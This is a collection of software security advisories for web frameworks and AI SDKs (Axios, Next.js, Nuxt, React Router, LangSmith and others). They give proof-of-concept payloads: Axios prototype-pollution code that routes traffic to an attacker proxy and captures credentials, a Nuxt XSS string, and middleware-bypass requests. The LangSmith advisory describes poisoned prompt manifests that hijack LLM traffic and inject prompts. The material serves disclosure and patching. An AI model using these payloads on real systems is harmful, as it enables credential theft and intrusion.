React Router vulnerable to Denial of Service via reflected user input in single-fetch
A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Allocation of Resources Without Limits or Throttling in Axios
Summary
Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.
This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.
Impact
The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.
This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.
Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.
Affected Functionality
Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.
Relevant configurations include:
adapter: 'fetch'
adapter: ['fetch', ...] when fetch is selected
environments where neither xhr nor http is available and axios falls back to fetch
custom fetch environments configured through env.fetch
Unaffected functionality includes:
Node.js default http adapter enforcement
versions before the fetch adapter was introduced
configurations that do not rely on finite axios size limits
Technical Details
In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.
The fix in e5540dc added:
maxContentLength and maxBodyLength reads in lib/adapters/fetch.js
upfront data: URL decoded-size checks
outbound body-size checks before dispatch
Content-Length response pre-checks
streaming response enforcement
fallback checks for environments without ReadableStream
regression tests in tests/unit/adapters/fetch.test.js
Proof of Concept of Attack
``js
import http from 'node:http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', chunk => {
received += chunk.length;
});
req.on('end', () => {
res.end(JSON.stringify({ received }));
});
});
await new Promise(resolve => server.listen(0, resolve));
const url = http://127.0.0.1:${server.address().port}/;
await axios.post(url, 'A'.repeat(2 1024 1024), {
adapter: 'fetch',
maxBodyLength: 1024
});
// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.
server.close();
`
Workarounds
Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.
Validate or cap attacker-controlled request bodies before passing them to axios.
Reject or strictly allowlist attacker-controlled URL schemes, especially data:` URLs, before calling axios.
<details>
<summary>Original Report</summary>
Summary
When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.
Details
maxBodyLength and maxContentLength are not applied in the fetch adapter flow:
lib/adapters/fetch.js (146-160): config destructuring does not include these controls.
lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.
lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.
By contrast, the HTTP adapter enforces both limits.
PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that counts received bytes and echoes {received}.
2. Send 2 MiB with:
adapter: 'fetch'
maxBodyLength: 1024
3. Request a 4 KiB data: URL with:
adapter: 'fetch'
maxContentLength: 16
Expected secure behavior: both requests rejected.
Observed:
Upload: success, server received 2097152
data: response: success, length 4096
Impact
Type: DoS / resource exhaustion due to limit bypass.
Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.
</details>
---
Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security checks
Summary
In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed.
Details
When a client requests http://example.com/foo, it sends:
``http
GET /foo HTTP/1.1
Host: example.com
`
Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example:
`http
GET /foo HTTP/1.1
Host: example.com/abc?bar=
`
reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed.
Impact
Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.
Mitigation
Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"]` for malformed values.
React Router vulnerable to DoS via unbounded path expansion in __manifest endpoint
There exists a potential DOS attack vector in React Router Framework Mode applications (as well as Remix v2.10.0 - 2.17.4). Certain requests can be crafted to consume disproportionate resources on the server, resulting in response time degredation and/or service unavailability for end users.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router's vendored turbo-stream v2 allows arbitrary constructor invocation via TYPE_ERROR deserialization leading to Unauth RCE
When using React Router v7 in Framework Mode, there exists a combination of steps that could potentially allow unauthorized RCE through external requests. This first requires the application code to have an existing prototype pollution vulnerability. This can be leveraged into a 2-step attack in which the second step can trigger unauthorized RCE on the remote server.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router's same-origin redirect with path starting // causes open redirect via protocol-relative URL reinterpretation
Certain URLs passed to the redirect function can trigger an open redirect to an external domain depending on the level of validation done by the application prior to returning the redirect.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>)
React Router vulnerable to XSS in unstable RSC redirect handling via javascript: redirect targets
When using React Router v7's unstable RSC APIs, there exists a potential client-side XSS issue in the RSC redirect handling if redirects are coming from untrusted sources
> [!NOTE]
> This only impacts your application if you are using the unstable RSC APIs in React Router.
React Router has stored XSS via unescaped Location header in prerendered redirect HTML
When using React Router v7 Framework Mode with Pre-rendering enabled, an improper neutralization of the HTTP Location header value can permit Cross-Site Scripting (XSS) in statically generated HTML files if the redirect location comes from an untrusted source.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Nuxt's route middleware is not enforced when rendering `.server.vue` pages via `/__nuxt_island/page_*`
Summary
When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page_<routeName> and exposed via the /__nuxt_island/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run.
For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /__nuxt_island/page_<routeName>_<anyhash> directly and receiving the server-rendered HTML.
Affected configurations
All three conditions must hold for an application to be vulnerable:
1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3).
2. The application defines one or more .server.vue files under pages/, registering them as routed pages.
3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer.
Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation.
Details
Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page_ prefix, making them addressable through /__nuxt_island/page_<routeName>_<hashId>.
Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set.
The two paths interact so that route middleware declared on the source page never runs.
Proof of concept
Given a page app/pages/secret.server.vue:
``vue
<script setup lang="ts">
definePageMeta({ middleware: 'auth' })
</script>
<template>
<h1>SECRET DATA</h1>
</template>
`
with middleware/auth.ts blocking unauthenticated access:
`bash
Direct page request: blocked by middleware
curl -i http://localhost:3000/secret
-> 403 / redirect, depending on the middleware
Island request: middleware did not run before this fix
curl -i 'http://localhost:3000/__nuxt_island/page_secret_anyhash'
-> 200 OK, body includes <h1>SECRET DATA</h1>
`
Patches
Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page_ islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page_<name> does not match the route component the URL resolves to.
Non-page island components are unaffected - they continue to render without route middleware, by design.
Workarounds
If you cannot upgrade immediately:
Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory.
Disable experimental.componentIslands if your app does not use the feature.
If your app must keep route-middleware-only auth, gate the /__nuxt_island/page_*` URL prefix at your reverse proxy or in a server middleware.
axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set
2. defaultToConfig2 for proxy is never called
3. The merged config has no own proxy property
4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
5. Object.prototype.proxy is found → used by setProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
``javascript
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
`
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
`
3. The Execution
At http.js:668-670:
`javascript
setProxy(
options,
config.proxy, // ← traverses prototype chain → finds polluted proxy
protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);
`
setProxy() at http.js:191-239 then:
`javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }
// ...
if (proxy) {
options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'
options.port = proxy.port; // → 8080
options.path = location; // → full URL as path
// ...
}
}
`
4. The Impact (Full MITM)
The attacker's proxy server receives:
`http
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, /
`
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:
Sees every request URL, header, and body
Modifies every response (inject malicious data, change auth results)
Logs all API keys, session tokens, and passwords
Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
`javascript
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy
const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
`
Verified PoC Output
`
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, /",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)
`
Impact Analysis
Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)
| Dimension | transformResponse Gadget | proxy Gadget |
|---|---|---|
| Data access | this.auth + response data | All headers, auth, body, URL, response |
| Response control | Must return true | Arbitrary responses |
| Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) |
| mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
`javascript
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);
`
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact:
config.proxy — MITM
config.socketPath — Unix socket SSRF
config.transport — request hijack
config.lookup — DNS hijack
config.beforeRedirect — redirect manipulation
config.httpAgent / config.httpsAgent — agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
`javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);
``
Resources
CWE-1321: Prototype Pollution
CWE-441: Unintended Proxy
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — full MITM confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Pydantic AI: SSRF cloud-metadata blocklist bypass via IPv4-mapped IPv6 (Incomplete fix of CVE-2026-25580)
Summary
When an application using Pydantic AI opts a URL into force_download='allow-local' (which disables the default block on private/internal IPs), the cloud-metadata blocklist could be bypassed by encoding the metadata IP in an IPv6 transition form (IPv4-mapped IPv6, 6to4, or NAT64). Dual-stack and translated networks route the IPv6 wrapper to the underlying IPv4 endpoint, exposing cloud IAM short-term credentials.
This is an incomplete fix of GHSA-2jrp-274c-jhv3 / CVE-2026-25580. The parent advisory's remediation guaranteed that "cloud metadata endpoints are always blocked, even with allow-local." That guarantee did not hold for IPv6-encoded forms of the metadata IPs.
Severity
Same impact metrics as the parent CVE, but materially narrower attack surface (AC:H instead of AC:L), because exploitation requires the application to have opted into allow-local on a URL influenced by untrusted input.
Who Is Affected
Applications are affected only if they explicitly opt for FileUrl (ImageUrl, AudioUrl, VideoUrl, DocumentUrl) into force_download='allow-local' on a URL that is, or could be, influenced by untrusted input.
Applications are not affected if they use any of the bundled integrations to ingest user input, because they do not propagate force_download from external data:
Agent.to_web / clai web
VercelAIAdapter
AGUIAdapter / Agent.to_ag_ui
Applications that only download from developer-controlled URLs are not affected.
Remediation
Upgrade to 1.99.0 or later. The cloud-metadata and private-IP blocklists now apply to IPv6 transition forms that route to a blocked IPv4 endpoint (IPv4-mapped IPv6, 6to4, and NAT64 well-known prefix). The blocklists have also been extended to cover additional IANA-reserved IPv4 and IPv6 special-purpose ranges.
Workaround for Unpatched Versions
Avoid passing force_download='allow-local' on any URL that could be influenced by untrusted input. If developers must, resolve the hostname themselves and validate the result against their own metadata blocklist — including IPv6-encoded forms — before constructing the FileUrl.
Credits
Reported by j0hndo.
Nuxt: Reflected XSS in `navigateTo()` external redirect
Summary
navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin.
This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >.
Impact
Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires.
Details
In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL:
``ts
const encodedLoc = location.replace(/"/g, '%22')
nuxtApp.ssrContext!['~renderResponse'] = {
status: sanitizeStatusCode(options?.redirectCode || 302, 302),
body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>,
headers: { location: encodeURL(location, isExternalHost) },
}
`
The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.
Proof of concept
Global middleware that forwards a query parameter to navigateTo:
`ts
// middleware/redirect.global.ts
export default defineNuxtRouteMiddleware((to) => {
const next = to.query.next as string | undefined
if (next) {
return navigateTo(next, { external: true })
}
})
`
Request:
`
GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)>
`
Response body:
`html
<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html>
`
The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect
occurs.
Patches
Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body
Workarounds
If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or >` (a normalised URL with these characters is malformed and safe to refuse).
LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning
Description
The LangSmith SDK's prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) fetch and deserialize prompt manifests from the LangSmith Hub. These manifests may contain serialized LangChain objects and model configuration that affect runtime behavior. When pulling a public prompt by owner/name identifier, the manifest content is controlled by an external party, but prior versions of the SDK did not distinguish this from pulling a prompt within the caller's own organization.
Prompt manifests can intentionally configure a model with a custom base URL, default headers, model name, or other constructor arguments. These are supported features, but they also mean the prompt contents should be treated as executable configuration rather than plain text. A prompt can also include serialized LangChain Runnable or PromptTemplate objects with attacker-controlled constructor kwargs, or secret references that, if secrets_from_env is enabled, read environment variables at deserialization time.
Applications are exposed when all of the following are true:
The application calls pull_prompt or pull_prompt_commit (Python) or pullPrompt or pullPromptCommit (JS/TS) with a public owner/name prompt identifier.
The prompt was published or modified by an untrusted or compromised account.
The application uses the pulled prompt without independently validating its contents.
Applications that only pull prompts from their own organization (referenced by name only, without an owner/ prefix) are not affected by the public prompt trust boundary issue described above. However, same-organization prompts carry their own risk. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that is pulled and deserialized without any additional warning.
Impact
An attacker who publishes a malicious prompt to LangSmith Hub may be able to affect applications that pull that prompt by owner/name. If the prompt manifest reaches the SDK's deserialization path, the SDK will instantiate the referenced LangChain objects with the attacker-supplied constructor arguments rather than treating the manifest as inert data.
Realistic impacts include:
Server-side request forgery (SSRF), outbound request redirection, and interception of LLM traffic if a prompt manifest configures an LLM client with an attacker-controlled base_url, proxy, or equivalent endpoint-setting parameter. In typical deployments, redirected requests may include prompt contents, system prompts, retrieved context, model parameters, provider credentials, or other secrets and may disclose them to the attacker-controlled endpoint.
Prompt injection or behavior manipulation if a manifest embeds attacker-controlled system messages, prompt templates, or model parameters that alter the application's behavior.
Additional deserialization risk when include_model=True is passed, because this expands the allowlist to partner integration classes. This is not the default, but it materially increases risk when pulling prompts from outside the caller's organization.
Remediation
The LangSmith SDK now blocks pulling public prompts by owner/name by default. Callers must explicitly opt in by passing dangerously_pull_public_prompt=True (Python) or dangerouslyPullPublicPrompt: true (JS/TS) to acknowledge the trust boundary. This flag should only be set after reviewing and trusting the prompt contents, not merely the publishing account.
Upgrade to LangSmith SDK Python >= 0.8.0 or JS/TS >= 0.6.0.
Guidance for prompt pull methods
The prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) should be used only with trusted prompts. Do not pull public prompts by owner/name from untrusted or unreviewed sources without understanding that the manifest contents will be deserialized and may affect runtime behavior.
When pulling prompts that include model configuration (include_model=True in Python, includeModel: true in JS/TS), the deserialization allowlist expands to include partner integration classes. Because this mode is not the default and is often unnecessary for third-party prompts, prefer the default (false) when pulling prompts from sources outside your organization.
Avoid passing secrets_from_env=True (Python) when pulling untrusted prompts. This parameter allows prompt manifests to read environment variables during deserialization. Only use it with trusted prompts from your own organization.
Same-organization prompts
Prompts pulled from the caller's own organization (referenced by name only, without an owner/ prefix) are not gated by the new dangerously_pull_public_prompt flag, but they are not inherently safe. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that redirects LLM traffic to attacker-controlled infrastructure and may disclose any credentials attached to those requests.
The security of same-organization prompts follows a shared responsibility model. The LangSmith SDK enforces trust boundaries for public prompts pulled from external accounts, but it cannot protect against compromised credentials or accounts within the caller's own organization. Securing API keys, managing team member access, and reviewing prompt contents before production deployment are the responsibility of the organization. Organizations should treat prompts as executable configuration and apply the same review and audit practices they would apply to application code.
Credits
First reported by @Moaaz-0x.
Next.js has a Middleware / Proxy bypass in App Router applications via segment-prefetch routes - Incomplete Fix Follow-Up
Impact
It was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. Refer to CVE-2026-44575 for further details.
References
CVE CVE-2026-44575
Next.js vulnerable to Denial of Service via connection exhaustion in applications using Cache Components
Impact
Applications using Partial Prerendering through the Cache Components feature can be vulnerable to connection exhaustion through crafted POST requests to a server action. In affected configurations, a malicious request can trigger a request-body handling deadlock that leaves connections open for an extended period, consuming file descriptors and server capacity until legitimate users are denied service.
Fix
We now treat the header used for resuming Partial Prerendered requests as an internal-only header and strip it from untrusted incoming requests. This header should never be accepted directly from external clients.
Workarounds
If you cannot upgrade immediately, block requests that would be handled by Next.js if they contain the Next-Resume header at the edge.
Next.js vulnerable to cache poisoning in React Server Component responses
Impact
Applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML.
Fix
We now validate and interpret RSC request headers consistently across request classification and rendering, and we enforce the intended cache-busting behavior so RSC payloads are not unexpectedly served from the original URL.
Workarounds
If you cannot upgrade immediately, ensure your CDN or reverse proxy keys on the relevant RSC request headers and honors Vary, or disable shared caching for affected App Router and RSC responses.
Next.js has a Middleware / Proxy bypass in App Router applications via segment-prefetch routes
Impact
App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check.
Fix
We now include App Router transport variants when generating middleware matchers, so middleware protections are applied consistently to those requests as well as to the normal page URL.
Workarounds
If you cannot upgrade immediately, enforce authorization in the underlying route or page logic instead of relying solely on middleware.
Next.js has a Middleware / Proxy bypass through dynamic route parameter injection
Impact
Applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check.
Fix
We now only honor internal route-parameter normalization in trusted routing flows and ignore externally supplied parameter encodings that should never have been accepted from ordinary requests.
Workarounds
If you cannot upgrade immediately, enforce authorization in route or page logic instead of relying solely on middleware path matching.
Facebook React has a Denial of Service Vulnerability in React Server Components
Impact
A denial of service vulnerability could be triggered by sending specially crafted HTTP requests to server function endpoints, this could lead to out-of-memory exceptions or excessive CPU usage.
We recommend updating immediately.
The vulnerability exists in versions 19.0.0 through 19.0.5, 19.1.0 through 19.1.6, and 19.2.0 through 19.2.5 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Patches
Fixes were back ported to versions 19.0.6, 19.1.7, and 19.2.6.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
LangChain vulnerable to unsafe deserialization of attacker-controlled objects through overly broad `load()` allowlists
LangChain contains older runtime code paths that deserialize run inputs, run outputs, or other application-controlled payloads using overly broad object allowlists. These paths may call load() with allowed_objects="all". This does not enable arbitrary Python object deserialization, but it does allow any trusted LangChain-serializable object to be revived, which is broader than these runtime paths require. As a result, attacker-supplied LangChain serialized constructor dictionaries may cause trusted runtime paths to instantiate classes with untrusted constructor arguments.
Applications are exposed only when all of the following are true:
1. The application accepts untrusted structured input, such as JSON, from a user or network request.
2. The application does not validate or canonicalize that input into an inert schema before invoking LangChain.
3. Attacker-controlled nested dictionaries or lists are preserved in LangChain run inputs or outputs.
4. The application uses an affected API path that later deserializes that run data.
Known affected runtime surfaces include:
RunnableWithMessageHistory
astream_log()
astream_events(version="v1")
Related unsafe deserialization patterns may also affect applications that explicitly load serialized LangChain prompt or runnable objects from untrusted sources, including shared prompt stores, Hub artifacts with model configuration, or other application-controlled serialization stores.
